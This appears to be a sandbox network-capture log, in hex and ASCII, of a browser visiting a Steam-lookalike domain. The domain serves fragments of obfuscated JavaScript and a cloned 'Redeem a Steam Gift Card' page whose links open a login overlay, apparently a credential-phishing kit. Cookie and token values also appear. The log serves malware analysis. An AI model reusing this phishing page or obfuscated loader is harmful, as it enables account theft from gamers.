2024-09-17 17:21:12 UTC	1369	IN	Data Raw: 5b 6f 47 53 37 49 62 33 2b 2b 5d 26 46 51 71 5a 39 4b 28 2d 30 78 32 64 29 29 3c 3c 76 38 38 38 65 4e 28 30 78 32 63 29 7c 28 68 6a 47 68 5f 6b 5b 6f 47 53 37 49 62 33 2b 2b 5d 26 30 78 33 66 29 3c 3c 30 78 36 7c 68 6a 47 68 5f 6b 5b 6f 47 53 37 49 62 33 2b 2b 5d 26 30 78 33 66 7d 65 6c 73 65 7b 76 61 72 20 5a 68 43 69 49 65 3d 65 75 62 4a 74 43 78 28 68 6a 47 68 5f 6b 3d 3e 7b 72 65 74 75 72 6e 20 56 4d 45 4f 53 70 5b 68 6a 47 68 5f 6b 3c 30 78 31 38 3f 68 6a 47 68 5f 6b 3c 30 78 31 38 3f 68 6a 47 68 5f 6b 3e 30 78 31 38 3f 68 6a 47 68 5f 6b 2d 30 78 35 33 3a 68 6a 47 68 5f 6b 3e 30 78 31 38 3f 68 6a 47 68 5f 6b 2b 30 78 32 62 3a 68 6a 47 68 5f 6b 3e 30 78 31 38 3f 68 6a 47 68 5f 6b 2d 30 78 31 32 3a 68 6a 47 68 5f 6b 2b 30 78 39 3a 68 6a 47 68 5f 6b 2d Data Ascii: [oGS7Ib3++]&FQqZ9K(-0x2d))<<v888eN(0x2c)\|(hjGh_k[oGS7Ib3++]&0x3f)<<0x6\|hjGh_k[oGS7Ib3++]&0x3f}else{var ZhCiIe=eubJtCx(hjGh_k=>{return VMEOSp[hjGh_k<0x18?hjGh_k<0x18?hjGh_k>0x18?hjGh_k-0x53:hjGh_k>0x18?hjGh_k+0x2b:hjGh_k>0x18?hjGh_k-0x12:hjGh_k+0x9:hjGh_k-
2024-09-17 17:21:12 UTC	1369	IN	Data Raw: 30 78 31 34 3a 72 65 74 75 72 6e 20 56 4d 45 4f 53 70 2d 50 39 30 55 33 54 57 7d 7d 66 75 6e 63 74 69 6f 6e 20 47 45 32 4b 4e 48 47 28 56 4d 45 4f 53 70 29 7b 72 65 74 75 72 6e 20 56 4d 45 4f 53 70 3d 65 6f 36 4c 71 32 2b 28 65 6f 36 4c 71 32 3d 56 4d 45 4f 53 70 2c 30 78 30 29 2c 56 4d 45 4f 53 70 7d 76 6f 69 64 28 65 6f 36 4c 71 32 3d 65 6f 36 4c 71 32 2c 66 75 6e 63 74 69 6f 6e 28 50 39 30 55 33 54 57 2c 44 4c 4b 4e 53 44 29 7b 76 61 72 20 70 43 59 70 77 62 30 2c 68 6a 47 68 5f 6b 2c 64 39 54 43 39 38 3b 66 75 6e 63 74 69 6f 6e 20 6e 73 72 53 56 5a 63 28 50 39 30 55 33 54 57 29 7b 72 65 74 75 72 6e 20 56 4d 45 4f 53 70 5b 50 39 30 55 33 54 57 3e 2d 30 78 36 34 3f 50 39 30 55 33 54 57 2b 30 78 36 33 3a 50 39 30 55 33 54 57 2b 30 78 36 34 5d 7d 76 6f 69 Data Ascii: 0x14:return VMEOSp-P90U3TW}}function GE2KNHG(VMEOSp){return VMEOSp=eo6Lq2+(eo6Lq2=VMEOSp,0x0),VMEOSp}void(eo6Lq2=eo6Lq2,function(P90U3TW,DLKNSD){var pCYpwb0,hjGh_k,d9TC98;function nsrSVZc(P90U3TW){return VMEOSp[P90U3TW>-0x64?P90U3TW+0x63:P90U3TW+0x64]}voi
2024-09-17 17:21:12 UTC	1369	IN	Data Raw: 63 59 4e 50 6c 71 28 30 78 36 62 29 5d 29 29 29 2c 65 6f 36 4c 71 32 3d 30 78 33 36 29 2f 30 78 35 2b 46 57 6d 47 46 58 46 28 70 61 72 73 65 49 6e 74 28 28 64 39 54 43 39 38 3d 5b 46 57 6d 47 46 58 46 28 30 78 31 64 30 2c 47 45 32 4b 4e 48 47 28 30 78 33 36 29 29 2c 46 57 6d 47 46 58 46 28 30 78 31 64 31 2c 47 45 32 4b 4e 48 47 28 46 51 71 5a 39 4b 28 30 78 35 65 29 29 29 5d 2c 51 47 37 50 43 4c 28 6c 77 54 35 6d 73 28 46 51 71 5a 39 4b 28 30 78 35 62 29 29 29 29 29 2c 47 45 32 4b 4e 48 47 28 30 78 33 36 29 29 2f 30 78 36 2b 70 61 72 73 65 49 6e 74 28 28 64 39 54 43 39 38 3d 5b 46 57 6d 47 46 58 46 28 30 78 31 65 32 2c 47 45 32 4b 4e 48 47 28 30 78 33 36 29 29 2c 46 57 6d 47 46 58 46 28 30 78 31 64 37 2c 65 6f 36 4c 71 32 3d 30 78 33 36 29 5d 2c 6e 65 77 Data Ascii: cYNPlq(0x6b)]))),eo6Lq2=0x36)/0x5+FWmGFXF(parseInt((d9TC98=[FWmGFXF(0x1d0,GE2KNHG(0x36)),FWmGFXF(0x1d1,GE2KNHG(FQqZ9K(0x5e)))],QG7PCL(lwT5ms(FQqZ9K(0x5b))))),GE2KNHG(0x36))/0x6+parseInt((d9TC98=[FWmGFXF(0x1e2,GE2KNHG(0x36)),FWmGFXF(0x1d7,eo6Lq2=0x36)],new
2024-09-17 17:21:12 UTC	1369	IN	Data Raw: 63 28 2d 30 78 34 36 29 29 5d 2c 6f 47 53 37 49 62 33 5b 72 79 42 36 65 65 5b 6e 73 72 53 56 5a 63 28 2d 30 78 36 33 29 5d 5d 28 6f 47 53 37 49 62 33 5b 6c 77 54 35 6d 73 28 78 6c 76 78 42 66 28 30 78 32 38 29 29 5d 28 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 51 47 37 50 43 4c 28 6f 47 53 37 49 62 33 2c 46 51 71 5a 39 4b 2c 5f 78 5f 45 72 78 72 29 7b 76 61 72 20 72 79 42 36 65 65 2c 78 6c 76 78 42 66 3b 66 75 6e 63 74 69 6f 6e 20 51 47 37 50 43 4c 28 6f 47 53 37 49 62 33 29 7b 72 65 74 75 72 6e 20 56 4d 45 4f 53 70 5b 6f 47 53 37 49 62 33 3e 2d 30 78 32 64 3f 6f 47 53 37 49 62 33 3c 2d 30 78 32 64 3f 6f 47 53 37 49 62 33 2d 30 78 33 33 3a 6f 47 53 37 49 62 33 3c 2d 30 78 62 3f 6f 47 53 37 49 62 33 3c 2d 30 78 62 3f 6f 47 53 37 49 62 33 3c 2d 30 78 62 3f 6f Data Ascii: c(-0x46))],oGS7Ib3[ryB6ee[nsrSVZc(-0x63)]](oGS7Ib3[lwT5ms(xlvxBf(0x28))]()))}function QG7PCL(oGS7Ib3,FQqZ9K,_x_Erxr){var ryB6ee,xlvxBf;function QG7PCL(oGS7Ib3){return VMEOSp[oGS7Ib3>-0x2d?oGS7Ib3<-0x2d?oGS7Ib3-0x33:oGS7Ib3<-0xb?oGS7Ib3<-0xb?oGS7Ib3<-0xb?o
2024-09-17 17:21:12 UTC	1369	IN	Data Raw: 56 63 52 52 45 28 30 78 31 37 32 2c 30 78 31 37 62 29 7d 66 75 6e 63 74 69 6f 6e 20 48 4f 45 6c 4a 70 37 28 29 7b 76 61 72 20 50 39 30 55 33 54 57 2c 44 4c 4b 4e 53 44 2c 70 43 59 70 77 62 30 2c 68 6a 47 68 5f 6b 2c 64 39 54 43 39 38 2c 6e 73 72 53 56 5a 63 2c 6f 47 53 37 49 62 33 3b 66 75 6e 63 74 69 6f 6e 20 46 51 71 5a 39 4b 28 50 39 30 55 33 54 57 29 7b 72 65 74 75 72 6e 20 56 4d 45 4f 53 70 5b 50 39 30 55 33 54 57 3e 30 78 37 66 3f 50 39 30 55 33 54 57 2d 30 78 33 32 3a 50 39 30 55 33 54 57 3e 30 78 35 64 3f 50 39 30 55 33 54 57 3c 30 78 35 64 3f 50 39 30 55 33 54 57 2b 30 78 64 3a 50 39 30 55 33 54 57 3c 30 78 35 64 3f 50 39 30 55 33 54 57 2d 30 78 33 37 3a 50 39 30 55 33 54 57 3e 30 78 37 66 3f 50 39 30 55 33 54 57 2d 30 78 37 3a 50 39 30 55 33 54 Data Ascii: VcRRE(0x172,0x17b)}function HOElJp7(){var P90U3TW,DLKNSD,pCYpwb0,hjGh_k,d9TC98,nsrSVZc,oGS7Ib3;function FQqZ9K(P90U3TW){return VMEOSp[P90U3TW>0x7f?P90U3TW-0x32:P90U3TW>0x5d?P90U3TW<0x5d?P90U3TW+0xd:P90U3TW<0x5d?P90U3TW-0x37:P90U3TW>0x7f?P90U3TW-0x7:P90U3T
2024-09-17 17:21:12 UTC	1369	IN	Data Raw: 78 28 28 29 3d 3e 7b 72 65 74 75 72 6e 20 5f 78 5f 45 72 78 72 7d 2c 30 78 30 29 2c 48 4f 45 6c 4a 70 37 28 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 68 64 64 4d 70 28 29 7b 76 61 72 20 50 39 30 55 33 54 57 2c 44 4c 4b 4e 53 44 2c 70 43 59 70 77 62 30 2c 68 6a 47 68 5f 6b 3b 66 75 6e 63 74 69 6f 6e 20 64 39 54 43 39 38 28 50 39 30 55 33 54 57 29 7b 72 65 74 75 72 6e 20 56 4d 45 4f 53 70 5b 50 39 30 55 33 54 57 3e 30 78 35 64 3f 50 39 30 55 33 54 57 3e 30 78 37 66 3f 50 39 30 55 33 54 57 2b 30 78 33 36 3a 50 39 30 55 33 54 57 3c 30 78 35 64 3f 50 39 30 55 33 54 57 2b 30 78 33 34 3a 50 39 30 55 33 54 57 3e 30 78 37 66 3f 50 39 30 55 33 54 57 2d 30 78 38 3a 50 39 30 55 33 54 57 3c 30 78 35 64 3f 50 39 30 55 33 54 57 2b 30 78 32 63 3a 50 39 30 55 33 54 57 3c 30 78 Data Ascii: x(()=>{return _x_Erxr},0x0),HOElJp7()}function nhddMp(){var P90U3TW,DLKNSD,pCYpwb0,hjGh_k;function d9TC98(P90U3TW){return VMEOSp[P90U3TW>0x5d?P90U3TW>0x7f?P90U3TW+0x36:P90U3TW<0x5d?P90U3TW+0x34:P90U3TW>0x7f?P90U3TW-0x8:P90U3TW<0x5d?P90U3TW+0x2c:P90U3TW<0x

Timestamp	Bytes transferred	Direction	Data
2024-09-17 17:21:13 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-17 17:21:13 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=84267 Date: Tue, 17 Sep 2024 17:21:13 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-09-17 17:21:13 UTC	1374	OUT	POST /26402d54745351570c4c5d5901410272575c455b0d02120374065e085654 HTTP/1.1 Host: scteamncommnumnity.com Connection: keep-alive Content-Length: 75 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.I56cw5NQULlXZjwao4HXnEBj0QEUstDc.Gb39iixSErBuzV88.azuaYIB6oBpBUVmHEfMcBqr6GM58HAcSRQu8Bb4l8tYUkhJb6sMAHyrxE8Yk9EudLq3n1ViwtiXajA7gr9GyqHp5vvVcv10NRyejGb1H0p_0DFpG95D9xMOC91j9t6LUKgyK0XUgzZPYtIgbe9McM9I0OySWDE4IGKTuK7VPX5xFsb0DVIX4tDksnl_4hW-Ewn2pKied8zmr2P9EhhM2b9f3_B1J9woKtYQZXSqMxQ_6OyOBDnLkXrE.0L8YyKP1VHxFl6GFnhgtFA; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImI5YzU5YjIxZTg0N2ZkMDQwOTEyY2U3MTJhMWE4M2JkIiwic2VydmljZSI6IlN0ZWFtIn0.vdCkSFGEFj8sw52zufWKFnHiFUwW8-VcgM7SxpD4j0M
2024-09-17 17:21:13 UTC	75	OUT	Data Raw: 70 61 74 68 6e 61 6d 65 3d 25 32 46 66 69 74 69 6e 67 25 32 46 67 65 74 69 6e 67 25 32 46 67 6f 69 6e 67 26 73 65 61 72 63 68 3d 26 68 6f 73 74 6e 61 6d 65 3d 73 63 74 65 61 6d 6e 63 6f 6d 6d 6e 75 6d 6e 69 74 79 2e 63 6f 6d Data Ascii: pathname=%2Ffiting%2Fgeting%2Fgoing&search=&hostname=scteamncommnumnity.com
2024-09-17 17:21:13 UTC	991	IN	HTTP/1.1 201 Created Date: Tue, 17 Sep 2024 17:21:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lQNf53dGlixmkeiqoDgkL6unDvtCkbzDpiKS53J0sD%2FG9Qdj1MRF%2FHHcRAmlJyc9Ce6uVANHdRZrmeWba48lwFfaPamqMHTfErGTBioPuaHZ9wERGOpOjRiiRofpR6hdVJVAPUFZ3XEC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c4ac57a7dddc3fa-EWR alt-svc: h3=":443"; ma=86400
2024-09-17 17:21:13 UTC	378	IN	Data Raw: 37 62 64 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 27 2f 32 36 34 30 32 64 35 34 37 34 35 33 35 31 35 38 30 62 35 63 35 31 34 66 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 74 72 69 67 67 65 72 73 20 3d 20 5b 22 61 22 2c 22 62 75 74 74 6f 6e 22 5d 3c 2f 73 63 72 69 70 74 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: 7bd1<!DOCTYPE html><html class=" responsive" lang="en"><head><script async src='/26402d54745351580b5c514f.js'></script><script>window.triggers = ["a","button"]</script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewp
2024-09-17 17:21:13 UTC	1369	IN	Data Raw: 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 73 74 65 61 6d 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 64 65 65 6d 20 61 20 53 74 65 61 6d 20 47 69 66 74 20 43 61 72 64 20 6f 72 20 57 61 6c 6c 65 74 20 43 6f 64 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 64 65 65 6d 20 61 20 53 74 65 61 6d 20 47 69 66 74 20 43 61 72 64 20 6f 72 20 57 61 6c 6c 65 74 20 43 6f 64 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 Data Ascii: ent="summary_large_image"><meta name="twitter:site" content="@steam"><meta property="og:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="twitter:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="og:type" cont
2024-09-17 17:21:13 UTC	1369	IN	Data Raw: 6c 3d 65 6e 67 6c 69 73 68 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 63 73 73 2f 76 36 2f 61 63 63 6f 75 6e 74 2e 63 73 73 3f 76 3d 50 32 57 4c 49 38 42 36 64 64 4a 65 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 63 73 73 2f 76 36 2f 63 61 72 74 2e 63 73 73 3f 76 Data Ascii: l=english" rel="stylesheet" type="text/css"><link href="https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english" rel="stylesheet" type="text/css"><link href="https://store.akamai.steamstatic.com/public/css/v6/cart.css?v
2024-09-17 17:21:13 UTC	1369	IN	Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 73 68 61 72 65 64 2f 6a 61 76 61 73 63 72 69 70 74 2f 73 68 61 72 65 64 5f 67 6c 6f 62 61 6c 2e 6a 73 3f 76 3d 51 35 74 74 2d 64 38 72 30 59 4c 75 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 6a 61 76 61 73 63 72 69 70 74 2f 6d 61 69 6e 2e 6a 73 3f 76 3d Data Ascii: <script type="text/javascript" src="https://store.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english"></script><script type="text/javascript" src="https://store.akamai.steamstatic.com/public/javascript/main.js?v=
2024-09-17 17:21:13 UTC	1369	IN	Data Raw: 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6f 6d 65 20 3d 20 5f 5f 50 72 6f 74 6f 74 79 70 65 50 72 65 73 65 72 76 65 5b 34 5d 20 7c 7c 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6f 6d 65 3b 0a 20 20 20 20 20 20 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 62 69 6e 64 20 3d 20 5f 5f 50 72 6f 74 6f 74 79 70 65 50 72 65 73 65 72 76 65 5b 35 5d 20 7c 7c 20 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 62 69 6e 64 3b 0a 20 20 20 20 20 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 63 72 6f 6c 6c 54 6f 20 3d 20 5f 5f 50 72 6f 74 6f 74 79 70 65 50 72 65 73 65 72 76 65 5b 36 5d 20 7c 7c 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 63 72 6f 6c 6c 54 6f 3b 0a 20 20 20 20 3c Data Ascii: rray.prototype.some = __PrototypePreserve[4] \|\| Array.prototype.some; Function.prototype.bind = __PrototypePreserve[5] \|\| Function.prototype.bind; HTMLElement.prototype.scrollTo = __PrototypePreserve[6] \|\| HTMLElement.prototype.scrollTo; <
2024-09-17 17:21:13 UTC	1369	IN	Data Raw: 20 27 78 5f 6f 6c 64 72 65 66 27 2c 20 47 65 74 4e 61 76 43 6f 6f 6b 69 65 28 29 29 3b 0a 20 20 20 20 20 20 20 20 53 65 74 75 70 54 6f 6f 6c 74 69 70 73 28 7b 0a 20 20 20 20 20 20 20 20 20 20 74 6f 6f 6c 74 69 70 43 53 53 43 6c 61 73 73 3a 20 27 73 74 6f 72 65 5f 74 6f 6f 6c 74 69 70 27 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 6a 61 76 61 73 63 72 69 70 74 2f 72 65 64 65 65 6d 77 61 6c 6c 65 74 63 6f 64 65 2e 6a 73 3f 76 3d 58 73 67 4f 44 71 55 4f 6c 56 Data Ascii: 'x_oldref', GetNavCookie()); SetupTooltips({ tooltipCSSClass: 'store_tooltip' }); }); </script><script type="text/javascript" src="https://store.akamai.steamstatic.com/public/javascript/redeemwalletcode.js?v=XsgODqUOlV
2024-09-17 17:21:13 UTC	1369	IN	Data Raw: 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 77 69 74 68 5f 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 6d 65 6e 75 5f 63 74 6e 20 6d 61 69 6e 6d 65 6e 75 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 6d 65 6e 75 22 20 69 64 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 6d 65 6e 75 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 6d 65 6e 75 5f 63 6f 6e 74 65 6e 74 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 6d 65 6e 75 5f 63 6f 6e 74 65 6e 74 73 5f 69 74 65 6d 73 22 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: onsive_page_frame with_header"> <div class="responsive_page_menu_ctn mainmenu"> <div class="responsive_page_menu" id="responsive_page_menu"> <div class="mainmenu_contents"> <div class="mainmenu_contents_items">
2024-09-17 17:21:13 UTC	1369	IN	Data Raw: 6e 22 20 68 72 65 66 3d 22 23 22 3e 48 6f 6d 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 41 75 74 68 57 69 6e 22 20 68 72 65 66 3d 22 23 22 3e 44 69 73 63 75 73 73 69 6f 6e 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 41 75 74 68 57 69 6e 22 20 68 72 65 66 3d 22 23 22 3e 57 6f 72 6b 73 68 6f 70 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 41 75 74 68 57 69 6e 22 20 68 72 65 66 3d 22 23 22 3e 4d 61 72 6b 65 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: n" href="#">Home</a> <a class="submenuitem showAuthWin" href="#">Discussions</a> <a class="submenuitem showAuthWin" href="#">Workshop</a> <a class="submenuitem showAuthWin" href="#">Market</a>
2024-09-17 17:21:13 UTC	1369	IN	Data Raw: 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 23 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 63 6c 61 73 73 3d 22 73 68 6f 77 41 75 74 68 57 69 6e 22 3e 53 74 65 61 6d 20 53 75 62 73 63 72 69 62 65 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 23 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 63 6c 61 73 73 3d 22 73 68 6f 77 41 75 74 68 57 69 6e 22 3e 52 65 66 75 6e 64 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 Data Ascii: sp;\|  <a href="#" target="_blank" class="showAuthWin">Steam Subscriber Agreement</a>  \|  <a href="#" target="_blank" class="showAuthWin">Refunds</a> </span> </div> </div> </div

Timestamp	Bytes transferred	Direction	Data
2024-09-17 17:21:14 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-17 17:21:14 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=84204 Date: Tue, 17 Sep 2024 17:21:14 GMT Content-Length: 55 Connection: close X-CID: 2
2024-09-17 17:21:14 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Timestamp	Bytes transferred	Direction	Data
2024-09-17 17:21:14 UTC	1068	OUT	GET /26402d54745351580b5c514f.js HTTP/1.1 Host: scteamncommnumnity.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 